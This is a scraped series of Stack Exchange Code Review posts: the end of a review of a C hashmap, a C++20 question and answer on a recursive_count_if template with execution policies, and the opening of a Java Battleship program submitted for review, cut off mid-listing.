points to the <code>'\\0'</code>, like this:</p>\n<pre class=\"lang-c prettyprint-override\"><code>size_t hash(const void* key) {\n size_t hash = 0;\n for (const unsigned char *p = key; *p != '\\0'; p++) {\n hash = 31 * hash + *p;\n }\n return hash;\n}\n</code></pre>\n<pre class=\"lang-c prettyprint-override\"><code>bool compare(void* key1, void* key2) {\n return *((int*) key1) == *((int*)key2);\n}\n</code></pre>\n<p>Ah, so the HashMap maps string keys to int values. These facts should be represented in the function names. Instead of <code>hash</code> and <code>compare</code>, these should rather be called <code>hash_str</code> and <code>compare_int</code>.</p>\n<pre class=\"lang-c prettyprint-override\"><code>int main() {\n</code></pre>\n<p>The empty parentheses <code>()</code> mean that this function takes an arbitrary number of arguments. This was a historical accident. In modern C (since 1990), you have to write <code>(void)</code> here to state that the function takes no arguments at all.</p>\n<pre class=\"lang-c prettyprint-override\"><code> struct HashMap* my_hmap = new_hashmap(hash, compare);\n int k = 10;\n int v = 101;\n int v2 = 102;\n\n insert_hashmap(my_hmap, &amp;k, &amp;v);\n</code></pre>\n<p>Nope. As I said above, the code says that the keys to the map are <em>strings</em>, yet you pass an int to it. This <a href=\"https://en.wikipedia.org/wiki/Undefined_behavior\" rel=\"noreferrer\">invokes undefined behavior</a>, which you must avoid.</p>\n<pre class=\"lang-c prettyprint-override\"><code> printf(&quot;done!&quot;);\n</code></pre>\n<p>There is a <code>\\n</code> missing after the <code>&quot;done!</code>&quot;. Without this newline, there is no guarantee that the &quot;done!&quot; is printed at all. That's for historic reasons, but it's a good rule. Every program that outputs text should do so in whole lines.</p>\n<p>Summary: you got many things right and many things wrong, but that's to be expected when you submit your code for review.</p>\n<p>For comparison, here is the <a href=\"https://github.com/NetBSD/src/blob/trunk/usr.bin/make/hash.h\" rel=\"noreferrer\">header</a> and <a href=\"https://github.com/NetBSD/src/blob/trunk/usr.bin/make/hash.c\" rel=\"noreferrer\">implementation</a> that's very similar to yours. You can practice reading other people's code using that, and if you find any differences, have a look at the GitHub history of these files. They are more than 27 years old and have evolved a lot in all this time.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T01:48:10.380", "Id": "499848", "Score": "0", "body": "Thanks for the in-depth review! In the test code, I am mapping ints to ints, rather than strings to ints; I accidentally got a string hash function." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T01:51:19.443", "Id": "499849", "Score": "0", "body": "No, not quite. In the test code you are _pretending_ to map ints to ints. In reality you just invoke undefined behavior." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T01:54:21.197", "Id": "499850", "Score": "0", "body": "I apologize for my ignorance, but how does it invoke undefined behavior?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T05:23:51.717", "Id": "499856", "Score": "0", "body": "By calling `strlen` on an int pointer. I don't think the C standard makes any guarantee for this." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T01:19:44.480", "Id": "253481", "ParentId": "253468", "Score": "5" } }, { "body": "<p><strong>Use a prime number for the number of buckets.</strong></p>\n<p>To expand <a href=\"https://codereview.stackexchange.com/a/253481/29485\">@RoRoland Illig</a> idea about <code>% hmap-&gt;num_buckets</code>.</p>\n<p>Insure the array index is within range by modding with the number of buckets:</p>\n<pre><code>size_t hashed_key = hmap-&gt;hfunc(key);\n// struct Pair* entry = hmap-&gt;buckets[hashed_key];\nstruct Pair* entry = hmap-&gt;buckets[hashed_key % hmap-&gt;num_buckets];\n</code></pre>\n<p>If <code>hmap-&gt;hfunc()</code> is a <em>good</em> hash function, then the value of <code>hmap-&gt;num_buckets</code> makes little difference.</p>\n<p>Yet if <code>hmap-&gt;hfunc()</code> has weaknesses, performing <code>% some_prime</code> improves the hashing.</p>\n<p>A bucket number of <code>750000</code> or <code>0xB71B0</code> emphasizes the last four bits of <code>hashed_key</code> over the other bits. A prime would nominally equally use all the bits of <code>hashed_key</code>.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T04:29:05.830", "Id": "253488", "ParentId": "253468", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T19:19:44.383", "Id": "253468", "Score": "3", "Tags": [ "performance", "c", "hash-map" ], "Title": "Simple Hashmap in C" }
253468
<p>This is a follow-up question for <a href="https://codereview.stackexchange.com/q/253373/231235">Avoiding requires clause if possible on a series recursive function in C++</a> and <a href="https://codereview.stackexchange.com/q/252325/231235">A recursive_count_if Function with Automatic Type Deducing from Lambda for Various Type Arbitrary Nested Iterable Implementation in C++</a>. Thanks to <a href="https://codereview.stackexchange.com/a/253381/231235">indi's detailed and clear answer</a>. I got the key point <em>&quot;The point is to consider what kind of type your algorithm is supposed to work for. It’s about SEMANTICS, not syntax.&quot;</em> and I am trying to perform the suggestion ideas including <em>&quot;using standard concepts wherever possible&quot;</em> and <em>&quot;avoiding the unnecessary copies&quot;</em> on function <code>recursive_count_if</code> based on <a href="https://codereview.stackexchange.com/a/252375/231235">the previous G. Sliepen's answer</a>.</p> <p><strong>The experimental implementation</strong></p> <pre><code>// recursive_count_if implementation template&lt;typename Pred, typename Range&gt; concept is_applicable_to_elements = requires(Pred&amp; predicate, const Range &amp;container) { predicate(*container.begin()); }; template&lt;std::ranges::input_range Range, class Pred&gt; requires is_applicable_to_elements&lt;Pred, Range&gt; constexpr auto recursive_count_if(const Range&amp; input, const Pred&amp; predicate) { return std::count_if(input.cbegin(), input.cend(), predicate); } template&lt;std::ranges::input_range Range, class Pred&gt; requires std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt; constexpr auto recursive_count_if(const Range&amp; input, const Pred&amp; predicate) { return std::transform_reduce(std::cbegin(input), std::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp;&amp; element) { return recursive_count_if(element, predicate); }); } // recursive_count_if implementation (with execution policy) template&lt;class ExPo, std::ranges::input_range Range, class Pred&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) &amp;&amp; (is_applicable_to_elements&lt;Pred, Range&gt;) constexpr auto recursive_count_if(ExPo execution_policy, const Range&amp; input, const Pred&amp; predicate) { return std::count_if(execution_policy, input.cbegin(), input.cend(), predicate); } template&lt;class ExPo, std::ranges::input_range Range, class Pred&gt; requires (std::is_execution_policy_v&lt;std::remove_cvref_t&lt;ExPo&gt;&gt;) &amp;&amp; (std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt;) constexpr auto recursive_count_if(ExPo execution_policy, const Range&amp; input, const Pred&amp; predicate) { return std::transform_reduce(execution_policy, std::cbegin(input), std::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [execution_policy, predicate](auto&amp;&amp; element) { return recursive_count_if(execution_policy, element, predicate); }); } </code></pre> <p><strong>Test cases</strong></p> <pre><code>template&lt;class T&gt; void recursive_count_if_test_template1() { std::cout &lt;&lt; &quot;recursive_count_if_test_template1&quot; &lt;&lt; std::endl; // std::vector&lt;std::vector&lt;int&gt;&gt; case std::vector&lt;T&gt; test_vector{ 1, 2, 3, 4, 4, 3, 7, 8, 9, 10 }; std::vector&lt;decltype(test_vector)&gt; test_vector2; test_vector2.push_back(test_vector); test_vector2.push_back(test_vector); test_vector2.push_back(test_vector); // use a lambda expression to count elements divisible by 3. std::cout &lt;&lt; &quot;#number divisible by three in test_vector2: &quot; &lt;&lt; recursive_count_if(std::execution::par, test_vector2, [](T i) {return i % 3 == 0; }) &lt;&lt; '\n'; auto test_vector3 = n_dim_container_generator&lt;5, std::vector, decltype(test_vector)&gt;(test_vector, 3); // use a lambda expression to count elements divisible by 3. std::cout &lt;&lt; &quot;#number divisible by three in test_vector3: &quot; &lt;&lt; recursive_count_if(std::execution::par, test_vector3, [](T i) {return i % 3 == 0; }) &lt;&lt; '\n'; // std::deque&lt;std::deque&lt;int&gt;&gt; case std::deque&lt;T&gt; test_deque; test_deque.push_back(1); test_deque.push_back(2); test_deque.push_back(3); std::deque&lt;decltype(test_deque)&gt; test_deque2; test_deque2.push_back(test_deque); test_deque2.push_back(test_deque); test_deque2.push_back(test_deque); // use a lambda expression to count elements divisible by 3. std::cout &lt;&lt; &quot;#number divisible by three in test_deque2: &quot; &lt;&lt; recursive_count_if(std::execution::par, test_deque2, [](T i) {return i % 3 == 0; }) &lt;&lt; '\n'; auto test_deque3 = n_dim_container_generator&lt;5, std::deque, decltype(test_deque)&gt;(test_deque, 3); std::cout &lt;&lt; &quot;#number divisible by three in test_deque3: &quot; &lt;&lt; recursive_count_if(std::execution::par, test_deque3, [](T i) {return i % 3 == 0; }) &lt;&lt; '\n'; } int main() { recursive_count_if_test_template1&lt;int&gt;(); recursive_count_if_test_template1&lt;short&gt;(); recursive_count_if_test_template1&lt;long&gt;(); recursive_count_if_test_template1&lt;long long int&gt;(); recursive_count_if_test_template1&lt;unsigned char&gt;(); recursive_count_if_test_template1&lt;unsigned int&gt;(); recursive_count_if_test_template1&lt;unsigned short int&gt;(); recursive_count_if_test_template1&lt;unsigned long int&gt;(); return 0; } </code></pre> <p><a href="https://godbolt.org/z/3ecePj" rel="nofollow noreferrer">A Godbolt link is here.</a></p> <p>All suggestions are welcome.</p> <p>The summary information:</p> <ul> <li><p>Which question it is a follow-up to?</p> <p><a href="https://codereview.stackexchange.com/q/253373/231235">Avoiding requires clause if possible on a series recursive function in C++</a> and</p> <p><a href="https://codereview.stackexchange.com/q/252325/231235">A recursive_count_if Function with Automatic Type Deducing from Lambda for Various Type Arbitrary Nested Iterable Implementation in C++</a></p> </li> <li><p>What changes has been made in the code since last question?</p> <ul> <li><p>Trying to use standard concepts wherever possible</p> </li> <li><p>Avoiding the unnecessary copies</p> </li> </ul> </li> <li><p>Why a new review is being asked for?</p> <p>Thanks so much to indi and G. Sliepen. After going through the previous answers, the improved code is as above. I am not sure if there is any other problem. If there is any possible improvement, please let me know.</p> </li> </ul>
[]
[ { "body": "<h1>Use <code>std::invocable</code></h1>\n<p>It turns out there is a standard concept to check whether a function can be applied to a (set of) argument(s): <a href=\"https://en.cppreference.com/w/cpp/concepts/invocable\" rel=\"nofollow noreferrer\"><code>std::invocable</code></a>. It's very handy combined with the following:</p>\n<h1>Avoid having to deal with ranges of ranges</h1>\n<p>I think you can avoid having to deal with &quot;ranges of ranges&quot;, by simplifying the templates like so:</p>\n<pre><code>template&lt;class T, std::invocable&lt;T&gt; Pred&gt;\nconstexpr std::size_t recursive_count_if(const T&amp; input, const Pred&amp; predicate)\n{\n return predicate(input) ? 1 : 0;\n}\n\ntemplate&lt;std::ranges::input_range Range, class Pred&gt;\nrequires (!std::invocable&lt;Pred, Range&gt;) // see below\nconstexpr auto recursive_count_if(const Range&amp; input, const Pred&amp; predicate)\n{\n return std::transform_reduce(std::cbegin(input), std::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp;&amp; element) {\n return recursive_count_if(element, predicate);\n });\n}\n</code></pre>\n<h1>Fixing control over recursion</h1>\n<p>As pointed out by others, one big issue with these recursive functions is that there are classes that can be both seen as values or as containers themselves. For example, if we have a <code>std::vector&lt;std::string&gt;</code>, do we want to count the strings or the characters in the strings? Since you referenced <a href=\"https://codereview.stackexchange.com/questions/252325/a-recursive-count-if-function-with-automatic-type-deducing-from-lambda-for-vario\">this earlier question</a>, I assume you want to have the predicate control when to end recursion. Let's add a testcase for it:</p>\n<pre><code>std::vector&lt;std::string&gt; vector_of_strings{ &quot;Hello&quot;, &quot;world!&quot; };\nstd::cout &lt;&lt; &quot;Number of non-empty strings: &quot; &lt;&lt;\n recursive_count_if(vector_of_strings, [](const std::string &amp;s) {return !s.empty();}) &lt;&lt; '\\n';\nstd::cout &lt;&lt; &quot;Number of lower-case characters: &quot; &lt;&lt;\n recursive_count_if(vector_of_strings, [](char c) {return std::islower(static_cast&lt;unsigned char&gt;(c));}) &lt;&lt; '\\n';\nstd::cout &lt;&lt; &quot;Number of things: &quot; &lt;&lt;\n recursive_count_if(vector_of_strings, [](const T &amp;i) {(void)i; return true;}) &lt;&lt; '\\n';\n</code></pre>\n<p>The expected output is:</p>\n<pre><code>Number of non-empty strings: 2\nNumber of lower-case characters: 9\nNumber of things: 11 // did you expect this?\n</code></pre>\n<p>Your code will fail the case of counting strings, as it cannot decide what template is more important. There are two possible fixes; the first is to not restrict the recursive template overload:</p>\n<pre><code>template&lt;std::ranges::input_range Range, class Pred&gt;\nconstexpr auto recursive_count_if(const Range&amp; input, const Pred&amp; predicate)\n{\n return std::transform_reduce(std::cbegin(input), std::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp;&amp; element) {\n return recursive_count_if(element, predicate);\n });\n}\n</code></pre>\n<p>Since that template is now unambiguously more generic than the first one. The drawback is a more confusing error message in case you try to recursive count a container using a lambda that doesn't match any recursion level. Alternatively, restrict it even more:</p>\n<pre><code>template&lt;std::ranges::input_range Range, class Pred&gt;\nrequires (std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt; &amp;&amp; !is_applicable_to_elements(Range, Pred))\nconstexpr auto recursive_count_if(const Range&amp; input, const Pred&amp; predicate)\n{\n return std::transform_reduce(std::cbegin(input), std::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp;&amp; element) {\n return recursive_count_if(element, predicate);\n });\n}\n</code></pre>\n<p>Slightly better error messages. I also had to do that with my version that avoids ranges of ranges. A third alternative is to not add any requirement that the input is a range, for example:</p>\n<pre><code>template&lt;class T, std::invocable&lt;T&gt; Pred&gt;\nconstexpr std::size_t recursive_count_if(const T&amp; input, const Pred&amp; predicate)\n{\n return predicate(input) ? 1 : 0;\n}\n\ntemplate&lt;class Range, class Pred&gt;\nconstexpr auto recursive_count_if(const Range&amp; input, const Pred&amp; predicate)\n{\n return std::transform_reduce(std::cbegin(input), std::cend(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp;&amp; element) {\n return recursive_count_if(element, predicate);\n });\n}\n</code></pre>\n<p>However this gives very long error messages. Your version with the extra requirements gives the nicest error messages in case you do something weird like:</p>\n<pre><code>std::vector&lt;int&gt; test_vector{1, 2, 3, 4, 4, 3, 7, 8, 9, 10};\nstd::cout &lt;&lt; &quot;Number of non-empty strings: &quot; &lt;&lt; recursive_count_if(test_vector, [](std::string i) {return !i.empty(); }) &lt;&lt; '\\n';\n</code></pre>\n<p>Note though that your version does not handle this corner case:</p>\n<pre><code>std::vector&lt;std::string&gt; vector_of_strings{ &quot;Hello&quot;, &quot;world!&quot; };\nstd::cout &lt;&lt; &quot;Number of vectors of strings: &quot; &lt;&lt;\n recursive_count_if(vector_of_strings, [](const std::vector&lt;std::string&gt; &amp;v) {(void)v; return true;}) &lt;&lt; '\\n';\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T22:35:45.000", "Id": "253519", "ParentId": "253471", "Score": "2" } } ]
{ "AcceptedAnswerId": "253519", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T20:55:37.563", "Id": "253471", "Score": "2", "Tags": [ "c++", "recursion", "c++20" ], "Title": "A recursive_count_if Template Function with Execution Policy in C++" }
253471
<p>I recently whipped up a Battleship program with Java as part of my Basic OOP class in university. The class is done but all we get are grades. I would really love, though, to know where and what I can improve upon. Is there a better way to implement my code? (It's still my first year in software engineering, just in case you see glaring misunderstandings of programming concepts.)</p> <p><strong>Grid Class</strong></p> <pre><code>public class Grid { private boolean isGrenade; private boolean isPShip; private boolean isCShip; private boolean shotAt; private char state; public Grid() { isGrenade = false; isPShip = false; isCShip = false; shotAt = false; state = '-'; } //sets a player ship public void setPShip(Grid[][] a, int i, int j) { a[i][j].isPShip = true; a[i][j].state = 'S'; } //sets a computer ship public void setCShip(Grid[][] a, int i, int j) { a[i][j].isCShip = true; a[i][j].state = 's'; } //sets a player grenade public void setPGrenade(Grid[][] a, int i, int j) { a[i][j].isGrenade = true; a[i][j].state = 'G'; } //sets a computer grenade public void setCGrenade(Grid[][] a, int i, int j) { a[i][j].isGrenade = true; a[i][j].state = 'g'; } //returns whether a cell has been shot already public boolean alreadyShot(Grid[][] a, int i, int j) { return a[i][i].shotAt; } //changes a cell's state to one that has been shot public void changeState(Grid[][] a, int i, int j) { a[i][j].state = '*'; } //sets a cell's state to one that has been shot public void setState(Grid[][] a, int i, int j) { a[i][j].shotAt = true; } //returns whether a cell is occupied by a ship/grenade public boolean getCellState() { return (this.state != '-'); } //prints out the cell's state public char printState(Grid[][] a, int i, int j) { if (a[i][j].shotAt == true) { return a[i][j].state; } else { return '-'; } } //prints out the cell's state - cheat mode public char revealedState(Grid[][] a, int i, int j) { return a[i][j].state; } } </code></pre> <p><strong>BattleshipDriver Class</strong></p> <pre><code>/** * This program simulates the game, Battleship. * The player and the computer each have six ships. * They also have four grenades each. * Shooting a grenade makes one lose a turn. * The first to sink all the opponent's ships wins. */ import java.util.Scanner; public class BattleshipDriver { //Global constant declarations public static final int GRID_ROWS = 8; public static final int GRID_COLS = 8; public static final int PLAYER_SHIPS = 6; public static final int PLAYER_GRENADES = 4; public static final int COMP_SHIPS = 6; public static final int COMP_GRENADES = 4; public static final int PROMPT_SIZE = 7; //Global variable declarations public static boolean cheats = false; public static int playerLives = PLAYER_SHIPS; public static int compLives = COMP_SHIPS; public static Scanner in = new Scanner(System.in); //Main battleship driver public static void main(String[] args) { String menuChoice = &quot;&quot;; //Main menu screen while (true) { printTitle(); System.out.println(&quot;To have the best possible experience, please set your console window to the maximum size.&quot;); System.out.println(); System.out.println(&quot;Press 1 to play against the computer.&quot;); System.out.println(&quot;Press 2 to play WITH CHEATS against the computer (reveals the grid).&quot;); System.out.println(&quot;Press 3 to see the game's rules.&quot;); System.out.println(&quot;Press 4 to exit.&quot;); System.out.print(&quot;Your choice: &quot;); menuChoice = in.next(); switch (menuChoice) { case &quot;1&quot;: startGame(); break; case &quot;2&quot;: cheats = true; startGame(); break; case &quot;3&quot;: clearScreen(); printRules(); break; case &quot;4&quot;: clearScreen(); System.out.println(&quot;Thank you for playing!&quot;); in.close(); System.exit(0); break; default: System.out.println(&quot;That is not a valid choice.&quot;); pressEnter(); clearScreen(); } } } //Game proper public static void startGame () { Grid[][] currentGame = new Grid[GRID_ROWS][GRID_COLS]; String coords = &quot;&quot;; int x, y; boolean playerLostTurn = false; boolean compLostTurn = false; //Constructor loop for (int i = 0; i &lt; GRID_ROWS; i++) { for (int j = 0; j &lt; GRID_COLS; j++) { currentGame[i][j] = new Grid(); } } playerInit(currentGame); compInit(currentGame); System.out.println(&quot;Let the games begin!&quot;); System.out.println(); while (checkVictory()) { //Checks for cheat mode if (cheats) { revealedGrid(currentGame); } else { printGrid(currentGame); } //Player's turn if (playerLostTurn) { System.out.println(&quot;Sorry Captain, you lost a turn from that grenade.&quot;); playerLostTurn = false; pressEnter(); } else { do { System.out.print(&quot;It's your turn! Please input coordinates for your missile: &quot;); coords = in.next(); x = coords.charAt(1) - 49; //converts x-coord to corresponding int y = ((int) Character.toUpperCase(coords.charAt(0))) - 65; //converts y-coord to corresponding int //out of bounds clause if ((x &gt; 7) || (y &gt; 7) || (x &lt; 0)) { System.out.println(&quot;Sorry, those coordinates are beyond grid size.&quot;); System.out.println(&quot;Make sure to hit within the map, oh Captain.&quot;); pressEnter(); } } while ((x &gt; 7) || (y &gt; 7) || (x &lt; 0)); //shot at the same place clause if (currentGame[x][y].alreadyShot(currentGame, x, y)) { System.out.println(&quot;Sorry, that cell was already shot at.&quot;); System.out.println(&quot;Make sure we don't shoot at the same thing twice, oh Captain.&quot;); pressEnter(); clearScreen(); } //shot an enemy ship clause else if (currentGame[x][y].revealedState(currentGame, x, y) == 's') { System.out.println(&quot;Bullseye! You hit the enemy ship&quot;); currentGame[x][y].setState(currentGame, x, y); if (cheats) { currentGame[x][y].changeState(currentGame, x, y); } compLives--; pressEnter(); clearScreen(); } //shot own ship clause else if (currentGame[x][y].revealedState(currentGame, x, y) == 'S') { System.out.println(&quot;Oh no! You shot your own ship! What kind of captain are you?!&quot;); currentGame[x][y].setState(currentGame, x, y); if (cheats) { currentGame[x][y].changeState(currentGame, x, y); } playerLives--; pressEnter(); clearScreen(); } //shot a grenade clause else if ((currentGame[x][y].revealedState(currentGame, x, y) == 'g') || (currentGame[x][y].revealedState(currentGame, x, y) == 'g')) { System.out.println(&quot;BOOM! You hit a grenade! You lost a turn! Oh Captain!&quot;); currentGame[x][y].setState(currentGame, x, y); if (cheats) { currentGame[x][y].changeState(currentGame, x, y); } playerLostTurn = true; pressEnter(); clearScreen(); } //shot at nothing clause else { System.out.println(&quot;We hit water! Adjust sights to port, oh Captain!&quot;); currentGame[x][y].setState(currentGame, x, y); currentGame[x][y].changeState(currentGame, x, y); pressEnter(); clearScreen(); } } //checks if computer previously hit a grenade and lost a turn if (compLostTurn == true) { System.out.println (&quot;The dumb computer lost a turn. It's your time to shine again, oh Captain!&quot;); pressEnter(); clearScreen(); compLostTurn = false; } else { compLostTurn = compTurn(currentGame); } } //checks to see who won if (compLives == 0) { clearScreen(); printVictory(); } else { clearScreen(); printGameOver(); } } //Player's turn to set ships and grenades public static void playerInit(Grid[][] currentGame) { String coords = &quot;&quot;; int x, y; int counter = 0; //Set player ships while (counter &lt; PLAYER_SHIPS) { clearScreen(); revealedGrid(currentGame); System.out.println(); System.out.printf(&quot;Please input the coordinates for ship #%d: &quot;, (counter + 1)); coords = in.next(); x = coords.charAt(1) - 49; //converts x-coord to corresponding int y = ((int) Character.toUpperCase(coords.charAt(0))) - 65; //converts y-coord to corresponding int if ((x &gt; 7) || (y &gt; 7) || (x &lt; 0)) { System.out.println(&quot;Sorry, those coordinates are beyond grid size.&quot;); pressEnter(); } else if (currentGame[x][y].getCellState()) { System.out.println(&quot;Sorry, that cell is already occupied.&quot;); pressEnter(); } else { currentGame[x][y].setPShip(currentGame, x, y); counter++; } } //Set player grenades counter = 0; while (counter &lt; PLAYER_GRENADES) { clearScreen(); revealedGrid(currentGame); System.out.println(); System.out.printf(&quot;Please input the coordinates for grenade #%d: &quot;, (counter + 1)); coords = in.next(); x = coords.charAt(1) - 49; //converts x-coord to corresponding int y = ((int) Character.toUpperCase(coords.charAt(0))) - 65; //converts y-coord to corresponding int if ((x &gt; 7) || (y &gt; 7) || (x &lt; 0)) { System.out.println(&quot;Sorry, those coordinates are beyond grid size.&quot;); pressEnter(); } else if (currentGame[x][y].getCellState()) { System.out.println(&quot;Sorry, that cell is already occupied.&quot;); pressEnter(); } else { currentGame[x][y].setPGrenade(currentGame, x, y); counter++; } } clearScreen(); } //Computer's turn to set ships and grenades public static void compInit(Grid[][] currentGame) { int x, y = 0; int counter = 0; //Set ships while (counter &lt; COMP_SHIPS) { do { x = (int) (Math.random() * (GRID_ROWS - 1)) + 1; y = (int) (Math.random() * (GRID_COLS - 1)) + 1; } while (currentGame[x][y].getCellState()); currentGame[x][y].setCShip(currentGame, x, y); counter++; } //Set grenades counter = 0; while (counter &lt; COMP_GRENADES) { do { x = (int) (Math.random() * (GRID_ROWS - 1)) + 1; y = (int) (Math.random() * (GRID_COLS - 1)) + 1; } while (currentGame[x][y].getCellState()); currentGame[x][y].setCGrenade(currentGame, x, y); counter++; } } //Computer's turn to fire missiles public static boolean compTurn(Grid[][] currentGame) { int x, y = 0; do { x = (int) (Math.random() * (GRID_ROWS - 1)) + 1; y = (int) (Math.random() * (GRID_COLS - 1)) + 1; } while (currentGame[x][y].alreadyShot(currentGame, x, y)); char xCoord = (char) (x + 48); //converts random coords to grid coords (e.g. A1) char yCoord = (char) (y + 64); System.out.printf(&quot;The dumb computer launched his missile at: %c%c\n&quot;, yCoord, xCoord); x--; //sets coords to array indices y--; //if the computer hits one of the player's ships clause if (currentGame[x][y].revealedState(currentGame, x, y) == 'S') { System.out.println(&quot;Oh no! The dumb computer sank one your ships! It wasn't so dumb after all.&quot;); currentGame[x][y].setState(currentGame, x, y); if (cheats) { currentGame[x][y].changeState(currentGame, x, y); } playerLives--; System.out.println(); return false; } //if the computer hits one of his own ships clause else if (currentGame[x][y].revealedState(currentGame, x, y) == 's') { System.out.println(&quot;Oh no! The dumb computer shot one of his own ships!&quot;); currentGame[x][y].setState(currentGame, x, y); if (cheats) { currentGame[x][y].changeState(currentGame, x, y); } compLives--; System.out.println(); return false; } //if the computer hits nothing but water clause else if (currentGame[x][y].revealedState(currentGame, x, y) == '-') { System.out.println(&quot;The dumb computer hit nothing but water.&quot;); currentGame[x][y].setState(currentGame, x, y); currentGame[x][y].changeState(currentGame, x, y); System.out.println(); return false; } //if computer shoots at the same thing twice clause else if (currentGame[x][y].alreadyShot(currentGame, x, y)) { System.out.println(&quot;The dumb computer tried to shoot at the same thing twice.&quot;); System.out.println(); return false; } //if computer hits a grenade clause else if ((currentGame[x][y].revealedState(currentGame, x, y) == 'G') || (currentGame[x][y].revealedState(currentGame, x, y) == 'g')) { System.out.println(&quot;BOOM! The dumb computer hit a grenade! It lost a turn!&quot;); currentGame[x][y].setState(currentGame, x, y); if (cheats) { currentGame[x][y].changeState(currentGame, x, y); } System.out.println(); return true; } return false; } //Checks victory condition public static boolean checkVictory () { return ((playerLives &gt; 0) &amp;&amp; (compLives &gt; 0)) ; } //Prints the grid public static void printGrid (Grid[][] currentGame) { System.out.print(&quot; &quot;); for (char ch = 'A'; ch &lt; 'I'; ch++) { // prints the column headings System.out.print(ch + &quot; &quot;); } System.out.println(); for (int i = 0; i &lt; (GRID_ROWS) ; i++) { System.out.print((i + 1) + &quot; &quot;); // prints the row headings for (int j = 0; j &lt; (GRID_COLS) ; j++) { System.out.print(currentGame[i][j].printState(currentGame, i, j) + &quot; &quot;); } System.out.println(); } System.out.println(&quot;LEGEND: &quot;); System.out.println(&quot;S - your ship s - enemy ship&quot;); System.out.println(&quot;G - your grenade g - enemy grenade&quot;); System.out.println(&quot;* - cell has already been shot&quot;); System.out.printf(&quot;Player Ships Left: %d\n&quot;, playerLives); System.out.printf(&quot;Computer Ships Left: %d\n&quot;, compLives); System.out.println(); } //Prints a revealed grid (cheats mode) public static void revealedGrid (Grid[][] currentGame) { System.out.print(&quot; &quot;); for (char ch = 'A'; ch &lt; 'I'; ch++) { // prints the column headings System.out.print(ch + &quot; &quot;); } System.out.println(); for (int i = 0; i &lt; (GRID_ROWS) ; i++) { System.out.print((i + 1) + &quot; &quot;); // prints the row headings for (int j = 0; j &lt; (GRID_COLS) ; j++) { System.out.print(currentGame[i][j].revealedState(currentGame, i, j) + &quot; &quot;); } System.out.println(); } System.out.println(&quot;LEGEND: &quot;); System.out.println(&quot;S - your ship s - enemy ship&quot;); System.out.println(&quot;G - your grenade g - enemy grenade&quot;); System.out.println(&quot;* - cell has already been shot&quot;); System.out.printf(&quot;Player Ships Left: %d\n&quot;, playerLives); System.out.printf(&quot;Computer Ships Left: %d\n&quot;, compLives); System.out.println(); } //Prints the game over screen public static void printGameOver () { System.out.println(&quot; _____ ____ &quot;); System.out.println(&quot; / ____| / __ \\ &quot;); System.out.println(&quot;| | __ __ _ _ __ ___ ___ | | | |_ _____ _ __ &quot;); System.out.println(&quot;| | |_ |/ _` | '_ ` _ \\ / _ \\ | | | \\ \\ / / _ \\ '__|&quot;); System.out.println(&quot;| |__| | (_| | | | | | | __/ | |__| |\\ V / __/ |&quot;); System.out.println(&quot; \\_____|\\__,_|_| |_| |_|\\___| \\____/ \\_/ \\___|_|&quot;); System.exit(0); } //Prints the victory screen public static void printVictory () { System.out.println(&quot;VVVVVVVV VVVVVVVVIIIIIIIIII CCCCCCCCCCCCCTTTTTTTTTTTTTTTTTTTTTTT OOOOOOOOO RRRRRRRRRRRRRRRRR YYYYYYY YYYYYYY !!!&quot;); System.out.println(&quot;V::::::V V::::::VI::::::::I CCC::::::::::::CT:::::::::::::::::::::T OO:::::::::OO R::::::::::::::::R Y:::::Y Y:::::Y!!:!!&quot;); System.out.println(&quot;V::::::V V::::::VI::::::::I CC:::::::::::::::CT:::::::::::::::::::::T OO:::::::::::::OO R::::::RRRRRR:::::R Y:::::Y Y:::::Y!:::!&quot;); System.out.println(&quot;V::::::V V::::::VII::::::IIC:::::CCCCCCCC::::CT:::::TT:::::::TT:::::TO:::::::OOO:::::::ORR:::::R R:::::RY::::::Y Y::::::Y!:::!&quot;); System.out.println(&quot;V:::::V V:::::V I::::I C:::::C CCCCCCTTTTTT T:::::T TTTTTTO::::::O O::::::O R::::R R:::::RYYY:::::Y Y:::::YYY!:::!&quot;); System.out.println(&quot;V:::::V V:::::V I::::IC:::::C T:::::T O:::::O O:::::O R::::R R:::::R Y:::::Y Y:::::Y !:::!&quot;); System.out.println(&quot;V:::::V V:::::V I::::IC:::::C T:::::T O:::::O O:::::O R::::RRRRRR:::::R Y:::::Y:::::Y !:::!&quot;); System.out.println(&quot;V:::::V V:::::V I::::IC:::::C T:::::T O:::::O O:::::O R:::::::::::::RR Y:::::::::Y !:::!&quot;); System.out.println(&quot;V:::::V V:::::V I::::IC:::::C T:::::T O:::::O O:::::O R::::RRRRRR:::::R Y:::::::Y !:::!&quot;); System.out.println(&quot;V:::::V V:::::V I::::IC:::::C T:::::T O:::::O O:::::O R::::R R:::::R Y:::::Y !:::!&quot;); System.out.println(&quot;V:::::V:::::V I::::IC:::::C T:::::T O:::::O O:::::O R::::R R:::::R Y:::::Y !!:!!&quot;); System.out.println(&quot;V:::::::::V I::::I C:::::C CCCCCC T:::::T O::::::O O::::::O R::::R R:::::R Y:::::Y 